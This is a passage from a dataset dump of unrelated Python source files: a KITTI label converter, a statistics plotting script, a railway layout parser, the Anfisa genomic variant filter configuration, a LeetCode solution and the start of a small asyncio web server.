tmp_target_label = copy.deepcopy(target_label)\n tmp_target_label['type'] = annotation['className']\n # print(list(annotation['geometry']['dimensions'].values()))\n tmp_target_label['dimensions'] = get_dimensions(\n list(annotation['geometry']['dimensions'].values()))\n # print('dimensions', tmp_target_label['dimensions'])\n position = list(annotation['geometry']['position'].values())\n position[2] = camera_height # z\n position[0] = position[0] - 0.27 # x\n tmp_target_label['location'] = get_transformed_values(position, transform_location)\n # print('location', tmp_target_label['location'])\n tmp_target_label['rotation_y'] = -float(annotation['geometry']['rotation'][\"z\"])\n KITTI_annotations.append(tmp_target_label)\n # exit()\n # save current annotation into\n save_filename = \"{:06n}.txt\".format(idx + start_number)\n save_path = output_folder + '/' + save_filename\n print('saving {}'.format(save_path))\n\n with open(save_path, 'w') as f:\n for item in KITTI_annotations:\n value_list = list(item.values())\n for value in value_list:\n if isinstance(value, list):\n for v in value:\n f.write(str(round(v, 2)) + ' ')\n else:\n if isinstance(value, str):\n f.write(value + ' ')\n else:\n f.write(str(round(value, 2)) + ' ')\n f.write('\\n')\n","sub_path":"tools/converter_label/rough_detection/older_version/converter_mylabel2KITTIlabel.py","file_name":"converter_mylabel2KITTIlabel.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"286593630","text":"from numpy import *\nfrom matplotlib.pyplot import *\nfrom scipy.stats import*\nfrom matplotlib.mlab import griddata\nfrom module2 import*\nfrom plottingTools import *\n\nNarr = array([1000, 1500, 2000, 2500, 3000])\nn = Narr.shape[0]\n\nNmean = empty(n)\nNvar = empty(n)\nNskew = empty(n)\nNkur = empty(n)\nNmin = empty(n)\n\nerrMean = empty(n)\nerrVar = empty(n)\nerrSkew = empty(n)\nerrKur = empty(n)\nerrMin = empty(n)\n\n\n\nmatplotlib.rcParams.update({'font.size': 15})\n\nfor l,N in enumerate(Narr):\n\n M = load('./Matrices_N/matrix_'+str(N)+'.npy')\n v = load('./Matrices_N/v_'+str(N)+'.npy')\n d = load('./Matrices_N/d_'+str(N)+'.npy')\n\n PosL1 = getPE(M,d)\n\n me = empty(N-1)\n variance = empty(N-1)\n kur = empty(N-1)\n sk = empty(N-1)\n minimum = empty(N-1)\n\n i = 0\n j = 0\n\n while j NEWLINE* statement ( NEWLINE+ statement )*\n\t\t# almost identical to Parser.block, but without '}' tokens\n\t\tstmts = []\n\t\twhile self.match(TokenType.NEWLINE):\n\t\t\tself.next()\n\t\tstmts.append(self._statement())\n\t\twhile self.token and not self.match(TokenType.EOF):\n\t\t\tif not self.accept(TokenType.NEWLINE):\n\t\t\t\tself.syntax_error(\"unexpected symbol\", self.token)\n\t\t\twhile self.match(TokenType.NEWLINE):\n\t\t\t\tself.next()\n\t\t\tstmt = self._statement()\n\t\t\tif stmt is None:\n\t\t\t\tbreak\n\t\t\tstmts.append(stmt)\n\t\treturn stmts\n\n\tdef _statement(self):\n\n\t\topening = self.token\n\n\t\t# statement -> NETWORK IDENTIFIER\n\t\tif self.accept(TokenType.NETWORK):\n\t\t\ttoken = self.accept(TokenType.IDENTIFIER)\n\t\t\tif token:\n\t\t\t\treturn ParseTreeNode(NodeType.NETWORK, token.value, start=opening)\n\t\t\telse:\n\t\t\t\tself.syntax_error(\"expected network name\", self.token)\n\n\t\t# statement -> VIEWPORT NUMBER NUMBER NUMBER NUMBER\n\t\telif self.accept(TokenType.VIEWPORT):\n\t\t\tx1 = self.accept(TokenType.NUMBER)\n\t\t\tif not x1:\n\t\t\t\tself.error(\"expected number\", x1)\n\t\t\ty1 = self.accept(TokenType.NUMBER)\n\t\t\tif not y1:\n\t\t\t\tself.error(\"expected number\", y1)\n\t\t\tx2 = self.accept(TokenType.NUMBER)\n\t\t\tif not x2:\n\t\t\t\tself.error(\"expected number\", x2)\n\t\t\ty2 = self.accept(TokenType.NUMBER)\n\t\t\tif not y2:\n\t\t\t\tself.error(\"expected number\", y2)\n\t\t\tpoint1 = (float(x1.value), float(y1.value))\n\t\t\tpoint2 = (float(x2.value), float(y2.value))\n\t\t\treturn ParseTreeNode(NodeType.VIEWPORT, point1, point2, start=opening)\n\n\t\t# statement -> IDENTIFIER AT NUMBER token+\n\t\t# statement -> IDENTIFIER SLASH ( NUMBER | LEVER_NUMBER ) ( LEFT | RIGHT ) NUMBER\n\t\t# statement -> IDENTIFIER NUMBER NUMBER NUMBER NUMBER\n\t\telif self.match(TokenType.IDENTIFIER):\n\t\t\tid = self.accept(TokenType.IDENTIFIER)\n\n\t\t\tif self.accept(TokenType.AT):\n\t\t\t\toffset = self.accept(TokenType.NUMBER)\n\t\t\t\tif not offset:\n\t\t\t\t\tself.error(\"expected number\", self.token)\n\t\t\t\t\treturn\n\t\t\t\tpath = []\n\t\t\t\twhile self.token and not self.match(TokenType.NEWLINE, TokenType.EOF):\n\t\t\t\t\tif self.token.value is not None:\n\t\t\t\t\t\tpath.append(self.token.value)\n\t\t\t\t\ttoken = self.next()\n\t\t\t\treturn ParseTreeNode(NodeType.TRACK, id.value,\n\t\t\t\t\tfloat(offset.value), \" \".join(path), start=opening)\n\n\t\t\telif self.accept(TokenType.SLASH):\n\t\t\t\tlever = self.accept(TokenType.NUMBER, TokenType.LEVER_NUMBER)\n\t\t\t\tif not lever:\n\t\t\t\t\tself.error(\"expected lever number\", self.token)\n\t\t\t\t\treturn\n\t\t\t\tside = self.accept(TokenType.LEFT, TokenType.RIGHT)\n\t\t\t\tif not side:\n\t\t\t\t\tself.error(\"expected 'left' or 'right'\", self.token)\n\t\t\t\t\treturn\n\t\t\t\toffset = self.accept(TokenType.NUMBER)\n\t\t\t\tif not offset:\n\t\t\t\t\tself.error(\"expected number\", self.token)\n\t\t\t\t\treturn\n\t\t\t\toffsetval = float(offset.value)\n\t\t\t\tif not 0 <= offsetval <= 1:\n\t\t\t\t\tself.error(\"expected number between 0 and 1\", offset)\n\t\t\t\t\treturn\n\t\t\t\treturn ParseTreeNode(NodeType.SWITCH, id.value, lever.value,\n\t\t\t\t\t\"L\" if side.type == TokenType.LEFT else \"R\", offsetval, start=opening)\n\n\t\t\telif self.match(TokenType.NUMBER):\n\t\t\t\tx1 = self.accept(TokenType.NUMBER)\n\t\t\t\ty1 = self.accept(TokenType.NUMBER)\n\t\t\t\tif not y1:\n\t\t\t\t\tself.error(\"expected number\", self.token)\n\t\t\t\t\treturn\n\t\t\t\tx2 = self.accept(TokenType.NUMBER)\n\t\t\t\tif not x2:\n\t\t\t\t\tself.error(\"expected number\", self.token)\n\t\t\t\t\treturn\n\t\t\t\ty2 = self.accept(TokenType.NUMBER)\n\t\t\t\tif not y2:\n\t\t\t\t\tself.error(\"expected number\", self.token)\n\t\t\t\t\treturn\n\t\t\t\tpoint1 = (float(x1.value), float(y1.value))\n\t\t\t\tpoint2 = (float(x2.value), float(y2.value))\n\t\t\t\treturn ParseTreeNode(NodeType.INTERLOCKING, id.value, point1, point2, start=opening)\n\n\t\t\telse:\n\t\t\t\tself.error(\"unexpected symbol\", self.token)\n\n\t\telif self.match(TokenType.EOF):\n\t\t\treturn\n\n\t\telse:\n\t\t\tself.error(\"unexpected symbol\", self.token)\n\n\nclass LayoutReader(Logger):\n\n\tdef __init__(self, network, data, filename, warn=False):\n\t\tLogger.__init__(self, filename, warn)\n\n\t\tself.network = network\n\t\tself.parser = LayoutParser(data, filename, warn=warn)\n\t\tself.lines = self.parser.lines\n\t\tself.tree = self.parser.parse()\n\n\tdef create_layouts(self):\n\t\tlayouts = {}\n\t\t_layout_locations = {}\n\n\t\tfor stmt in self.tree:\n\t\t\tif stmt.type == NodeType.NETWORK:\n\t\t\t\tself._match_network(stmt)\n\t\t\telif stmt.type == NodeType.VIEWPORT:\n\t\t\t\tlayouts[\"_viewport\"] = list(stmt.items)\n\t\t\telse:\n\t\t\t\tlayout = self._create(stmt)\n\t\t\t\tif layout is None:\n\t\t\t\t\tcontinue\n\n\t\t\t\tkey, val = layout\n\t\t\t\tif key in layouts:\n\t\t\t\t\tself.error(\"object already defined\", stmt)\n\t\t\t\t\tself.note(\"object first defined here\", _layout_locations[key])\n\t\t\t\t\treturn\n\t\t\t\tlayouts[key] = val\n\t\t\t\t_layout_locations[key] = stmt\n\n\t\tif self.errors != 0:\n\t\t\treturn None\n\t\treturn layouts\n\n\tdef _match_network(self, stmt):\n\t\tname = stmt.items[0]\n\t\tif name != self.network.id:\n\t\t\tself.error(\"network name does not match\", stmt)\n\n\tdef _create(self, stmt):\n\t\tif stmt.type == NodeType.INTERLOCKING:\n\t\t\tname = stmt.items[0]\n\t\t\tintg = self.network.interlocking(name)\n\t\t\tif intg is None:\n\t\t\t\tself.error(\"no such interlocking\", stmt)\n\t\t\t\treturn None\n\n\t\t\treturn intg, list(stmt.items[1:])\n\n\t\telif stmt.type == NodeType.TRACK:\n\t\t\ttrack, offset, path = stmt.items\n\t\t\tsec = self.network.track_section(\"{0}@{1}\".format(track, offset))\n\t\t\tif sec is None:\n\t\t\t\tself.error(\"no such track section\", stmt)\n\t\t\t\treturn None\n\n\t\t\treturn sec, path\n\n\t\telif stmt.type == NodeType.SWITCH:\n\t\t\tintg, lever, side, offset = stmt.items\n\t\t\tswitch = self.network.lever_object(\"{0}/{1}\".format(intg, lever))\n\t\t\tif switch is None or not isinstance(switch, Switch):\n\t\t\t\tself.error(\"no such switch\", stmt)\n\t\t\t\treturn None\n\n\t\t\treturn switch, (side, offset)\n","sub_path":"s3/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":5800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"578520718","text":"# Copyright (c) 2019. Partners HealthCare and other members of\n# Forome Association\n#\n# Developed by Sergey Trifonov based on contributions by Joel Krier,\n# Michael Bouzinier, Shamil Sunyaev and other members of Division of\n# Genetics, Brigham and Women's Hospital\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nimport os, logging\nfrom app.config.a_config import AnfisaConfig\nfrom app.eval.condition import ConditionMaker\nfrom app.model.sol_pack import SolutionPack\nfrom app.model.tab_report import ReportTabSchema\nfrom .favor import FavorSchema\n#===============================================\nsCfgFilePath = os.path.dirname(os.path.abspath(__file__)) + \"/files/\"\n\ndef cfgPath(fname):\n global sCfgFilePath\n return sCfgFilePath + fname\n\ndef cfgPathSeq(fnames):\n return [cfgPath(fname) for fname in fnames]\n\n\n#===============================================\nsStdFMark = AnfisaConfig.configOption(\"filter.std.mark\")\ndef stdNm(name):\n global sStdFMark\n return sStdFMark + name\n\n\n#===============================================\nsSolutionsAreSet = False\n\nLoF_CSQ = [\n \"CNV: deletion\",\n \"transcript_ablation\",\n \"splice_acceptor_variant\",\n \"splice_donor_variant\",\n \"stop_gained\",\n \"frameshift_variant\"\n]\n\nNON_SYNONYMOUS_CSQ = LoF_CSQ + [\n \"inframe_insertion\",\n \"inframe_deletion\",\n \"missense_variant\",\n \"protein_altering_variant\",\n \"incomplete_terminal_codon_variant\"\n]\n\nMODERATE_IMPACT_CSQ = NON_SYNONYMOUS_CSQ + [\n \"synonymous_variant\",\n \"splice_region_variant\",\n \"coding_sequence_variant\"\n]\n\nLOW_IMPACT_CSQ = [\n \"intron_variant\",\n \"intergenic_variant\",\n \"non_coding_transcript_exon_variant\",\n \"upstream_gene_variant\",\n \"downstream_gene_variant\",\n \"TF_binding_site_variant\",\n \"regulatory_region_variant\"\n]\n\ndef condition_consequence_xBrowse():\n return ConditionMaker.condEnum(\"Transcript_consequence\",\n MODERATE_IMPACT_CSQ)\n\ndef condition_high_quality():\n return (condition_high_confidence()\n + condition_high_quality_all_samples())\n\ndef condition_high_confidence_QD():\n return condition_good_confidence() + [\n ConditionMaker.condNum(\"QD\", min_val = 4)]\n\ndef condition_high_confidence():\n return condition_good_confidence() + [\n ConditionMaker.condNum(\"QUAL\", min_val = 40)]\n\ndef condition_good_confidence():\n return [\n ConditionMaker.condEnum(\"FT\", [\"PASS\"]),\n ConditionMaker.condNum(\"Max_GQ\", min_val = 50),\n ConditionMaker.condNum(\"FS\", max_val = 30)]\n\ndef condition_high_quality_all_samples():\n return [ConditionMaker.condNum(\"Min_GQ\", min_val = 40)]\n\ndef condition_all_genotypes_called():\n return [ConditionMaker.condNum(\"Num_NO_CALL\", max_val = 0)]\n\ndef impacting_splicing():\n return [ConditionMaker.condNum(\"splice_ai_dsmax\", min_val = 0.2)]\n\ndef clinVar_not_benign():\n return [ConditionMaker.condEnum(\"Clinvar_Trusted_Simplified\",\n [\"benign\"], \"NOT\")]\n\n#===============================================\ndef checkSolutionUnits(sol_kind, sol_name, unit_names, requires):\n if \"Rules\" in unit_names:\n if not requires or \"WS\" not in requires:\n logging.error(\n 'Solution %s/%s: \"WS\" must be set as requirement (uses Rules)'\n % (sol_kind, sol_name))\n return False\n if \"Compound_Het\" in unit_names:\n if (not requires\n or len({\"trio\", \"trio_base\", \"trio_pure\"} & requires) == 0):\n logging.error(\n ('Solution %s/%s: \"trio\"/\"trio_base\"/\"trio_pure\" must be set'\n ' as requirement (uses Compound_Het)')\n % (sol_kind, sol_name))\n return False\n return True\n\n#===============================================\ndef readySolutions():\n global sSolutionsAreSet\n if sSolutionsAreSet:\n return\n sSolutionsAreSet = True\n favor_pack = SolutionPack(\"FAVOR\", checkSolutionUnits)\n setupGenericPack(favor_pack)\n FavorSchema.readySolutions(favor_pack)\n\n base_pack = SolutionPack(\"CASE\", checkSolutionUnits)\n setupGenericPack(base_pack)\n readySolutions_Case(base_pack)\n\n#===============================================\ndef readySolutions_Case(base_pack):\n # BGM Filters, should belong to \"Undiagnosed Patients Solution Pack\"\n base_pack.regFilter(\"BGM_De_Novo\", [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Callers\", [\"BGM_BAYES_DE_NOVO\", \"RUFUS\"])],\n requires = {\"trio_base\", \"WS\"})\n\n base_pack.regFilter(\"BGM_Homozygous_Rec\", [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Transcript_biotype\", [\"protein_coding\"]),\n ConditionMaker.condEnum(\"Callers\", [\"BGM_HOM_REC\"]),\n ConditionMaker.condEnum(\"Transcript_source\", [\"Ensembl\"]),\n ConditionMaker.condFunc(\"Inheritance_Mode\", dict(),\n [\"Homozygous Recessive\"])],\n requires = {\"trio_base\", \"WS\"})\n\n base_pack.regFilter(\"BGM_Compound_Het\", [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Transcript_biotype\", [\"protein_coding\"]),\n ConditionMaker.condEnum(\"Callers\", [\"BGM_CMPD_HET\"]),\n ConditionMaker.condEnum(\"Transcript_source\", [\"Ensembl\"]),\n ConditionMaker.condFunc(\"Compound_Het\",\n {\"approx\": \"transcript\"}, [\"Proband\"])],\n requires = {\"trio_base\", \"WS\"})\n\n base_pack.regFilter(\"BGM_Autosomal_Dominant\", [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Transcript_biotype\", [\"protein_coding\"]),\n ConditionMaker.condEnum(\"Callers\", [\"BGM_DE_NOVO\"]),\n ConditionMaker.condEnum(\"Transcript_source\", [\"Ensembl\"])],\n requires = {\"trio_base\", \"WS\"})\n\n # Standard mendelian Filters, should belong to\n # \"Undiagnosed Patients Solution Pack\"\n base_pack.regFilter(\"X_Linked\", condition_high_quality() + [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Transcript_biotype\", [\"protein_coding\"]),\n ConditionMaker.condEnum(\"Transcript_source\", [\"Ensembl\"]),\n ConditionMaker.condFunc(\"Inheritance_Mode\", dict(), [\"X-linked\"])],\n requires = {\"trio_base\", \"WS\"})\n\n base_pack.regFilter(\"Mendelian_Homozygous_Rec\",\n condition_high_quality() + condition_all_genotypes_called()\n + clinVar_not_benign() + [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Transcript_biotype\", [\"protein_coding\"]),\n ConditionMaker.condEnum(\"Transcript_source\", [\"Ensembl\"]),\n ConditionMaker.condFunc(\"Inheritance_Mode\", dict(),\n [\"Homozygous Recessive\"]),\n ConditionMaker.condEnum(\"Proband_Zygosity\", [\"Homozygous\"])\n ],\n requires = {\"trio_base\", \"WS\"})\n\n base_pack.regFilter(\"Mendelian_Compound_Het\",\n condition_high_quality() + clinVar_not_benign() + [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Transcript_biotype\", [\"protein_coding\"]),\n ConditionMaker.condEnum(\"Transcript_source\", [\"Ensembl\"]),\n ConditionMaker.condFunc(\"Compound_Het\",\n {\"approx\": \"transcript\"}, [\"Proband\"])],\n requires = {\"trio_base\", \"WS\"})\n\n base_pack.regFilter(\"Mendelian_Auto_Dom\",\n condition_high_quality() + clinVar_not_benign() + [\n condition_consequence_xBrowse(),\n ConditionMaker.condEnum(\"Transcript_biotype\", [\"protein_coding\"]),\n ConditionMaker.condEnum(\"Transcript_source\", [\"Ensembl\"]),\n ConditionMaker.condFunc(\"Inheritance_Mode\", dict(),\n [\"Autosomal Dominant\"]),\n ConditionMaker.condEnum(\"Proband_Zygosity\", [\"Heterozygous\"])\n ],\n requires = {\"trio_base\", \"WS\"})\n\n base_pack.regFilter(\"InSilico_Possibly_Damaging\",\n condition_high_confidence() + [ConditionMaker.condEnum(\n \"Rules\", [stdNm(\"Possibly_Damaging_Predictions\")])],\n requires = {\"WS\"})\n\n base_pack.regFilter(\"InSilico_Damaging\", condition_high_confidence()\n + [ConditionMaker.condEnum(\"Rules\",\n [stdNm(\"Damaging_Predictions\")])],\n requires = {\"WS\"})\n\n # SEQaBOO Filters, should belong to \"Hearing Loss Solution Pack\"\n # base_pack.regFilter(\"SEQaBOO_Hearing_Loss_v_01\", [\n # ConditionMaker.condEnum(\"Rules\",\n # [stdNm(\"SEQaBOO_Hearing_Loss_v_01\")]),\n # ConditionMaker.condEnum(\"Rules\", [stdNm(\"ACMG59\")], \"NOT\")],\n # requires = {\"WS\"})\n # base_pack.regFilter(\"SEQaBOO_Hearing_Loss_v_02\", [\n # ConditionMaker.condEnum(\"Rules\",\n # [stdNm(\"SEQaBOO_Hearing_Loss_v_02\")]),\n # ConditionMaker.condEnum(\"Rules\", [stdNm(\"ACMG59\")], \"NOT\")],\n # requires = {\"WS\"})\n # base_pack.regFilter(\"SEQaBOO_Hearing_Loss_v_03\", [\n # ConditionMaker.condEnum(\"Rules\",\n # [stdNm(\"SEQaBOO_Hearing_Loss_v_03\")]),\n # ConditionMaker.condEnum(\"Rules\", [stdNm(\"ACMG59\")], \"NOT\")],\n # requires = {\"WS\"})\n # base_pack.regFilter(\"SEQaBOO_Hearing_Loss_v_03_5\", [\n # ConditionMaker.condEnum(\"Rules\",\n # [stdNm(\"SEQaBOO_Hearing_Loss_v_03\")]),\n # ConditionMaker.condEnum(\"Panels\", [\"All_Hearing_Loss\"])],\n # requires = {\"WS\"})\n base_pack.regFilter(\"SEQaBOO_Hearing_Loss_v_4\", [\n ConditionMaker.condEnum(\"Rules\", [stdNm(\"Hearing Loss, v.4\")])],\n requires = {\"WS\"})\n base_pack.regFilter(\"SEQaBOO_Hearing_Loss_v_5\", [\n ConditionMaker.condEnum(\"Rules\", [stdNm(\"Hearing Loss, v.5\")])],\n requires = {\"WS\"})\n base_pack.regFilter(\"SEQaBOO_Hearing_Quick\", [\n ConditionMaker.condEnum(\"Rules\", [stdNm(\"Hearing Loss Quick\")])],\n requires = {\"WS\"})\n\n # SEQaBOO Filters, should belong to \"Base Solution Pack\"\n base_pack.regFilter(\"SEQaBOO_ACMG59\", [\n ConditionMaker.condEnum(\"Rules\", [stdNm(\"ACMG59\")])],\n requires = {\"WS\"})\n # base_pack.regFilter(\"SEQaBOO_ACMG59\", [\n # ConditionMaker.condEnum(\"Rules\", [stdNm(\"SEQaBOO_ACMG59\")]),\n # ConditionMaker.condEnum(\"Rules\", [stdNm(\"ACMG59\")], \"AND\")],\n # requires = {\"WS\"})\n\n base_pack.regFilter(\"Loss_Of_Function\", condition_high_quality() + [\n ConditionMaker.condEnum(\"Most_Severe_Consequence\", LoF_CSQ)])\n\n base_pack.regFilter(\"Non_Synonymous\", condition_high_quality() + [\n ConditionMaker.condEnum(\"Most_Severe_Consequence\",\n NON_SYNONYMOUS_CSQ)])\n\n base_pack.regFilter(\"UTR_and_Worse\", condition_high_quality() + [\n ConditionMaker.condEnum(\"Most_Severe_Consequence\",\n LOW_IMPACT_CSQ, join_mode = \"NOT\")])\n\n base_pack.regFilter(\"Impact_Splicing\",\n condition_high_confidence() + impacting_splicing())\n\n base_pack.regFilter(\"ClinVar_VUS_or_Worse\",\n condition_high_confidence() + [\n ConditionMaker.condEnum(\"Clinvar_stars\", [\"1\", \"2\", \"3\", \"4\"]),\n ConditionMaker.condEnum(\"Clinvar_conflicts\", [\"True\"],\n join_mode = \"NOT\"),\n ConditionMaker.condEnum(\"Clinvar_Benign\", [\"VUS or Pathogenic\"])\n ], requires={\"XL\"})\n\n base_pack.regFilter(\"In_Silico_Damaging\",\n condition_high_confidence() + [\n ConditionMaker.condEnum(\"Polyphen_2_HVAR\", [\"D\"]),\n ConditionMaker.condEnum(\"SIFT\", [\"deleterious\"])\n ], requires={\"XL\"})\n\n # base_pack.regFilter(\"Impact_Splicing\",\n # condition_high_quality() + impacting_splicing())\n\n # Production Decision Trees\n base_pack.regDTree(\"BGM Research\",\n cfgPathSeq([\"bgm_xbrowse.pyt\"]),\n requires = {\"trio_base\"})\n base_pack.regDTree(\"BGM Red Button\",\n cfgPathSeq([\"bgm_strict.pyt\"]),\n requires = {\"trio_base\"})\n base_pack.regDTree(\"Trio Candidates\",\n cfgPathSeq([\"quality.pyt\", \"rare.pyt\", \"trio.pyt\"]),\n requires = {\"trio_base\"})\n base_pack.regDTree(\"All Rare Variants\",\n cfgPathSeq([\"quality.pyt\", \"rare.pyt\", \"return_true.pyt\"]))\n base_pack.regDTree(\"Hearing Loss, v.4\",\n cfgPathSeq([\"quality.pyt\", \"hearing_loss.pyt\"]))\n base_pack.regDTree(\"Hearing Loss, v.5\",\n cfgPathSeq([\"quality.pyt\", \"hearing_loss_v5.pyt\"]))\n base_pack.regDTree(\"Hearing Loss Quick\",\n cfgPathSeq([\"quality.pyt\", \"hearing_loss_ws.pyt\"]), requires={\"WS\"})\n base_pack.regDTree(\"ACMG59 Variants\",\n cfgPathSeq([\"quality.pyt\", \"acmg59.pyt\"]))\n base_pack.regDTree(\"Damaging_Predictions\",\n cfgPathSeq([\"damaging.pyt\"]))\n base_pack.regDTree(\"Possibly_Damaging_Predictions\",\n cfgPathSeq([\"possibly_damaging.pyt\"]))\n\n # Test trees\n # base_pack.regDTree(\"Q Test\",\n # cfgPathSeq([\"quality.pyt\", \"return_true.pyt\"]))\n # base_pack.regDTree(\"R Test\",\n # cfgPathSeq([\"rare.pyt\", \"return_true.pyt\"]))\n # base_pack.regDTree(\"T Test\",\n # [cfgPath(\"trio.pyt\")],\n # requires = {\"trio_base\"})\n # base_pack.regDTree(\"H Test\",\n # [cfgPath(\"hearing_loss.pyt\")])\n\n base_pack.regZone(\"Gene\", \"Symbol\")\n base_pack.regZone(\"Gene List\", \"Panels\")\n base_pack.regZone(\"Sample\", \"Has_Variant\")\n base_pack.regZone(\"Cohort\", \"Variant_in\", requires = {\"cohorts\"})\n base_pack.regZone(\"Tag\", \"_tags\")\n\n demo_tab_schema = ReportTabSchema(\"demo\", use_tags = True)\n demo_tab_schema.addField(\"gene(s)\", \"/_view/general/genes[]\")\n demo_tab_schema.addField(\"variant\", \"/__data/label\")\n demo_tab_schema.addField(\"gnomAD_AF\", \"/_filters/gnomad_af_fam\")\n base_pack.regTabSchema(demo_tab_schema)\n\n#===============================================\ndef setupGenericPack(base_pack):\n base_pack.regItemDict(\"Clinvar_Trusted_Submitters\", {\n \"Laboratory for Molecular Medicine, \"\n + \"Partners HealthCare Personalized Medicine\": \"LMM\",\n \"GeneDx\": \"GeneDx\",\n \"Invitae\": \"Invitae\"})\n\n base_pack.regPanel(\"ACMG59\", \"Symbol\",\n cfgPath(\"acmg59.lst\"))\n base_pack.regPanel(\"All_Hearing_Loss\", \"Symbol\",\n cfgPath(\"all_hearing_loss.lst\"))\n base_pack.regPanel(\"Reportable_Hearing_Loss\", \"Symbol\",\n cfgPath(\"rep_hearing_loss.lst\"))\n base_pack.regPanel(\"Complement_System\", \"Symbol\",\n cfgPath(\"complement_system.lst\"))\n base_pack.regPanel(\"PharmGKB_VIP\", \"Symbol\",\n cfgPath(\"pharmgkb_vip.lst\"))\n base_pack.regPanel(\"Coagulation_System\", \"Symbol\",\n cfgPath(\"coagulation_system.lst\"))\n base_pack.regPanel(\"Thrombotic_Thrombocytopenic_Purpura\", \"Symbol\",\n cfgPath(\"ttp.lst\"))\n base_pack.regPanel(\"Immune_Dysregulation\", \"Symbol\",\n cfgPath(\"immune_dysregulation.lst\"))\n base_pack.regPanel(\"Autism_Spectrum\", \"Symbol\",\n cfgPath(\"autism.lst\"))\n base_pack.regPanel(\"Holoprosencephaly\", \"Symbol\",\n cfgPath(\"hpe.lst\"))\n base_pack.regPanel(\"Tubulinopathies\", \"Symbol\",\n cfgPath(\"tubulinopathies.lst\"))\n base_pack.regPanel(\"Notch_Signaling_Pathway\", \"Symbol\",\n cfgPath(\"notch.lst\"))\n base_pack.regPanel(\"SSH1_Interactors\", \"Symbol\",\n cfgPath(\"ssh.lst\"))\n base_pack.regPanel(\"Wnt1_Interactors\", \"Symbol\",\n cfgPath(\"wnt.lst\"))\n # base_pack.regPanel(\"TTP1\", \"Symbol\",\n # cfgPath(\"ttp1.lst\"))\n # base_pack.regPanel(\"TTP2\", \"Symbol\",\n # cfgPath(\"ttp2.lst\"))\n # base_pack.regPanel(\"TTP3\", \"Symbol\",\n # cfgPath(\"ttp3.lst\"))\n # base_pack.regPanel(\"TTP4\", \"Symbol\",\n # cfgPath(\"ttp4.lst\"))\n\n base_pack.regPanel(\"Check-Tags\", \"_tags\", items = [\n \"Previously categorized\",\n \"Previously Triaged\",\n \"Not categorized\",\n \"Benign/Likely benign\",\n \"False positives\"]\n )\n\n csv_tab_schema = ReportTabSchema(\"csv\", use_tags = False)\n csv_tab_schema.addField(\"chromosome\", \"/_filters/chromosome\")\n csv_tab_schema.addMustiStrField(\"variant\", \"|\", [\n \"/_filters/chromosome\",\n \"/_filters/start\",\n \"/_filters/ref\",\n \"/_filters/alt\"])\n base_pack.regTabSchema(csv_tab_schema)\n\ndef completeDsModes(ds_h):\n if ds_h.getDataSchema() == \"CASE\":\n family_info = ds_h.getFamilyInfo()\n trio_seq = family_info.getTrioSeq()\n if trio_seq:\n ds_h.addModes({\"trio\"})\n if trio_seq[0][0] == \"Proband\":\n ds_h.addModes({\"trio_base\"})\n if len(family_info) == 3:\n ds_h.addModes({\"trio_pure\"})\n if ds_h.getDataInfo()[\"meta\"].get(\"cohorts\"):\n ds_h.addModes({\"cohorts\"})\n elif ds_h.getDataSchema() == \"FAVOR\":\n FavorSchema.completeDsModes(ds_h)\n","sub_path":"app/config/solutions.py","file_name":"solutions.py","file_ext":"py","file_size_in_byte":16908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"272614319","text":"class Solution:\n def lengthOfLastWord1(self, s):\n if not s.split():\n return 0\n return len(s.split()[-1])\n \n def lengthOfLastWord2(self, s):\n r = -1\n # r指標用以避免右側空格\n while r >= -len(s) and s[r] == \" \":\n r-=1\n # 跳過右側空格後 l 從 r 的位置再開始計算\n l = r\n while l >= -len(s) and s[l] != \" \":\n l-=1\n return r - l\n \nif __name__ == \"__main__\":\n s = Solution()\n print(s.lengthOfLastWord1(s = \"Hello World\"))\n print(s.lengthOfLastWord2(s = \"a \"))\n ","sub_path":"058-Length-of-Last-Word/Length-of-Last-Word.py","file_name":"Length-of-Last-Word.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"317201072","text":"#! /usr/bin/python\nimport asyncio\nimport os\nimport argparse\nimport time\n\n\n# Definicion de los argumentos\nparser = argparse.ArgumentParser(description='Tp4 - servidor web asincrono')\nparser.add_argument('-d', '--documentroot', default='/home/valenscalco/comp2/lab/alumnos/58103-Scalco-Valentina/TP4/', type=str,\n help='Directorio donde están los documentos web')\nparser.add_argument('-p', '--port', default=5000, help='Puertoen donde espera conexiones')\nparser.add_argument('-s', '--size', default=1024, help='Bloque de lectura máximo para los documentos')\nparser.add_argument('-b', '--debug', default=False, help='Debug')\n\nargs = parser.parse_args()\n\n\nasync def handle(reader, writer):\n data = await reader.read(1024)\n ip, port = writer.get_extra_info('peername')\n encabezado = \"\"\n\n try:\n encabezado = data.decode().splitlines()[0]\n archivo = \".\" + encabezado.split()[1]\n if args.debug:\n asyncio.create_task(debug('handle', archivo))\n if archivo == './':\n archivo = './index.html'\n except:\n archivo = './index.html'\n\n code = '200 OK'\n task = asyncio.create_task(open_file(archivo, writer, code))\n task1 = asyncio.create_task(logs(ip, port))\n\n await task\n await task1\n\n\nasync def open_file(archivo, writer, code):\n if args.debug:\n asyncio.create_task(debug('open_file', archivo))\n archivo = args.documentroot + archivo\n size = args.size\n try:\n fd = open(archivo, \"rb\")\n await escritura(archivo, fd, writer, code, size)\n except FileNotFoundError:\n archivo = args.documentroot + \"404Error.html\"\n code = \"404 Not Found\"\n fd = open(archivo, 